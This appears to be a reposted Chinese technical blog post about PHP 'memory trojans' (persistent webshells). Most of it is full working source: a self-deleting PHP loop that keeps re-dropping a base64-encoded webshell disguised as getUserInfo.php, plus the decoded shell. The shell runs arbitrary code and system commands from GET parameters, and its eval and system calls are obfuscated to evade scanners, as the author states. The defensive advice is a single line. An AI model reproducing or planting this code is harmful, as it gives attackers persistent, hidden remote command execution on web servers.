前言
- 記憶體木馬，就是在記憶體中運行的木馬病毒，沒有代碼物體，記憶體木馬有著強隱蔽性，排查困難，殺不死（俗稱不死馬）的特點，
- 網路安全行業，有著很強的木桶效應，系統對抗黑帽，勝負取決于安全最薄弱的環節，黑帽對抗白帽，勝負取決于攻擊水平和和毀尸滅跡隱蔽的水平，
正文
本文不討論是由于任意檔案上傳還是近源攻擊讓生產服務器有了一段可訪問的惡意代碼，
病毒源代碼(很簡單)
<?php
//設定腳本不超時
set_time_limit(0);ignore_user_abort(true);
//洗掉檔案本體
@unlink(__FILE__);
//給木馬病毒起一個迷惑性的名字
$file = './getUserInfo.php';
//死回圈常駐記憶體，釋放木馬檔案
while(true) {
if(! file_exists($file)) @file_put_contents($file, base64_decode('PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0='));
sleep(60);
}
釋放病毒本體
<?php
//以下代碼實作了eval關鍵字和system函式的偽裝
//eval($_GET['e']);
if($e = @$_GET['e']) {
$func = @create_function(null, base64_decode('ZXZhbCgi') . $e . base64_decode('Iik7'));
$func();
}
//system($_GET['s']);
if($s = @$_GET['s']) {
$f = str_replace('x', '', 'xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx');
$f($s);
}
說明
- 以上關鍵敏感代碼都做了編碼，用于避開各種安全掃描的免殺，
- 一旦病毒樣本運行起來，就會洗掉掉自身，并長期運行在記憶體當中，
- 就算被釋放的木馬被識破后洗掉，還會產生同樣的檔案，
解決方案
干掉行程后，洗掉釋放的木馬檔案，
轉載請註明出處，本文鏈接：https://www.uj5u.com/houduan/518949.html
標籤：其他
上一篇：微服務組件--注冊中心Spring Cloud Eureka分析
下一篇：RockerMQ啟動Broke報錯 /Library/Internet: No such file or directory